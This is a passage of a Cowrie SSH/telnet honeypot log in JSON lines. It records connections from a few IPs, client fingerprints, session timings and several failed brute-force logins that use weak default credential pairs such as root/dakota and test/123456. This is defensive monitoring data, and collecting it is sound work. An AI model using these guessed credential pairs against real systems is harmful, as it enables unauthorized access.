openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:50.594411Z","src_ip":"31.40.204.166","session":"81d88bd38a21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:51.083065Z","src_ip":"31.40.204.166","session":"81d88bd38a21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:52.211711Z","src_ip":"31.40.204.166","session":"81d88bd38a21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32932,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f09eb8fc632","protocol":"telnet","message":"New connection: 152.42.224.71:32932 (10.17.0.5:23) [session: 5f09eb8fc632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:55.794818Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58496,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cb3ec01b850","protocol":"telnet","message":"New connection: 152.42.224.71:58496 (10.17.0.5:23) [session: 2cb3ec01b850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:56.614755Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58508,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf5463f10c7","protocol":"telnet","message":"New connection: 152.42.224.71:58508 (10.17.0.5:23) [session: 6cf5463f10c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:35:59.269434Z"}
{"eventid":"cowrie.session.closed","duration":120.00407099723816,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:02.178382Z","src_ip":"152.42.224.71","session":"5d2fff8e2667","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56604,"dst_ip":"159.203.135.109","dst_port":22,"session":"f470f92cbb75","protocol":"ssh","message":"New connection: 31.40.204.166:56604 (159.203.135.109:22) [session: f470f92cbb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:02.483135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:02.502931Z","src_ip":"31.40.204.166","session":"f470f92cbb75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:02.609197Z","src_ip":"31.40.204.166","session":"f470f92cbb75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.83622097969055,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:02.821745Z","src_ip":"152.42.224.71","session":"f72bdcd24e86","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:03.481704Z","src_ip":"31.40.204.166","session":"f470f92cbb75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:04.620991Z","src_ip":"31.40.204.166","session":"f470f92cbb75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58520,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfeeb78b5b72","protocol":"telnet","message":"New connection: 152.42.224.71:58520 (10.17.0.5:23) [session: dfeeb78b5b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:05.755691Z"}
{"eventid":"cowrie.session.closed","duration":44.41982102394104,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:06.143703Z","src_ip":"152.42.224.71","session":"8843ea230177","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00095248222351,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:06.487644Z","src_ip":"152.42.224.71","session":"3b8197edbdcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54864,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e1c092f9db3","protocol":"telnet","message":"New connection: 152.42.224.71:54864 (10.17.0.5:23) [session: 3e1c092f9db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:06.596462Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54880,"dst_ip":"10.17.0.5","dst_port":23,"session":"69fa49a1f00a","protocol":"telnet","message":"New connection: 152.42.224.71:54880 (10.17.0.5:23) [session: 69fa49a1f00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:08.084003Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54892,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b0b65c1604d","protocol":"telnet","message":"New connection: 152.42.224.71:54892 (10.17.0.5:23) [session: 1b0b65c1604d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:09.631382Z"}
{"eventid":"cowrie.session.closed","duration":37.43179273605347,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:11.443402Z","src_ip":"152.42.224.71","session":"caf94fca7554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54914,"dst_ip":"10.17.0.5","dst_port":23,"session":"e081e174615d","protocol":"telnet","message":"New connection: 152.42.224.71:54914 (10.17.0.5:23) [session: e081e174615d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:12.409041Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54900,"dst_ip":"10.17.0.5","dst_port":23,"session":"df8f027f83aa","protocol":"telnet","message":"New connection: 152.42.224.71:54900 (10.17.0.5:23) [session: df8f027f83aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:12.650321Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54916,"dst_ip":"10.17.0.5","dst_port":23,"session":"033202aeb530","protocol":"telnet","message":"New connection: 152.42.224.71:54916 (10.17.0.5:23) [session: 033202aeb530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:13.083723Z"}
{"eventid":"cowrie.session.closed","duration":34.9654905796051,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:13.872510Z","src_ip":"152.42.224.71","session":"a99dbff9cd85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48712,"dst_ip":"159.203.135.109","dst_port":22,"session":"f526d31fb7c5","protocol":"ssh","message":"New connection: 31.40.204.166:48712 (159.203.135.109:22) [session: f526d31fb7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:14.184125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:14.201499Z","src_ip":"31.40.204.166","session":"f526d31fb7c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:14.315241Z","src_ip":"31.40.204.166","session":"f526d31fb7c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:15.391423Z","src_ip":"31.40.204.166","session":"f526d31fb7c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33480,"dst_ip":"10.17.0.5","dst_port":23,"session":"52f1d9a88cab","protocol":"telnet","message":"New connection: 152.42.224.71:33480 (10.17.0.5:23) [session: 52f1d9a88cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:16.068294Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:16.611865Z","src_ip":"31.40.204.166","session":"f526d31fb7c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33494,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d992f0c6d20","protocol":"telnet","message":"New connection: 152.42.224.71:33494 (10.17.0.5:23) [session: 6d992f0c6d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:16.757008Z"}
{"eventid":"cowrie.session.closed","duration":87.82147169113159,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:18.264395Z","src_ip":"152.42.224.71","session":"a472049573df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.21821117401123,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:21.839999Z","src_ip":"152.42.224.71","session":"055e37c52ba2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.21831250190735,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:22.013017Z","src_ip":"152.42.224.71","session":"5f09eb8fc632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33504,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1a1d2f91b78","protocol":"telnet","message":"New connection: 152.42.224.71:33504 (10.17.0.5:23) [session: e1a1d2f91b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:22.418701Z"}
{"eventid":"cowrie.session.closed","duration":16.740363359451294,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:23.336700Z","src_ip":"152.42.224.71","session":"3e1c092f9db3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56018,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb34896b031a","protocol":"ssh","message":"New connection: 31.40.204.166:56018 (159.203.135.109:22) [session: fb34896b031a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:25.984108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:25.988431Z","src_ip":"31.40.204.166","session":"fb34896b031a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:26.114731Z","src_ip":"31.40.204.166","session":"fb34896b031a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00119924545288,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:26.215344Z","src_ip":"152.42.224.71","session":"50d74a25da89","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:26.588087Z","src_ip":"31.40.204.166","session":"fb34896b031a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:27.725887Z","src_ip":"31.40.204.166","session":"fb34896b031a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.106457948684692,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:28.190347Z","src_ip":"152.42.224.71","session":"69fa49a1f00a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.443402528762817,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:29.852337Z","src_ip":"152.42.224.71","session":"e081e174615d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.442426681518555,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:31.390236Z","src_ip":"152.42.224.71","session":"9f16ea887751","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57404,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e1644866309","protocol":"telnet","message":"New connection: 152.42.224.71:57404 (10.17.0.5:23) [session: 8e1644866309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:32.396392Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58096,"dst_ip":"159.203.135.109","dst_port":22,"session":"602930f0684c","protocol":"ssh","message":"New connection: 31.40.204.166:58096 (159.203.135.109:22) [session: 602930f0684c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:37.314727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:37.387285Z","src_ip":"31.40.204.166","session":"602930f0684c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:37.487792Z","src_ip":"31.40.204.166","session":"602930f0684c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:38.424893Z","src_ip":"31.40.204.166","session":"602930f0684c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0016143321991,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:39.184820Z","src_ip":"152.42.224.71","session":"148bd2030b28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:39.600733Z","src_ip":"31.40.204.166","session":"602930f0684c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.98267984390259,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:39.681636Z","src_ip":"152.42.224.71","session":"acd32bcf0a8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":58782,"dst_ip":"10.17.0.5","dst_port":22,"session":"6778c53f326f","protocol":"ssh","message":"New connection: 147.45.199.80:58782 (10.17.0.5:22) [session: 6778c53f326f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:40.992869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:40.996125Z","src_ip":"147.45.199.80","session":"6778c53f326f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:41.092685Z","src_ip":"147.45.199.80","session":"6778c53f326f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dakota","message":"login attempt [root/dakota] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:41.377443Z","src_ip":"147.45.199.80","session":"6778c53f326f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:36:42.474853Z","src_ip":"147.45.199.80","session":"6778c53f326f","protocol":"ssh"}
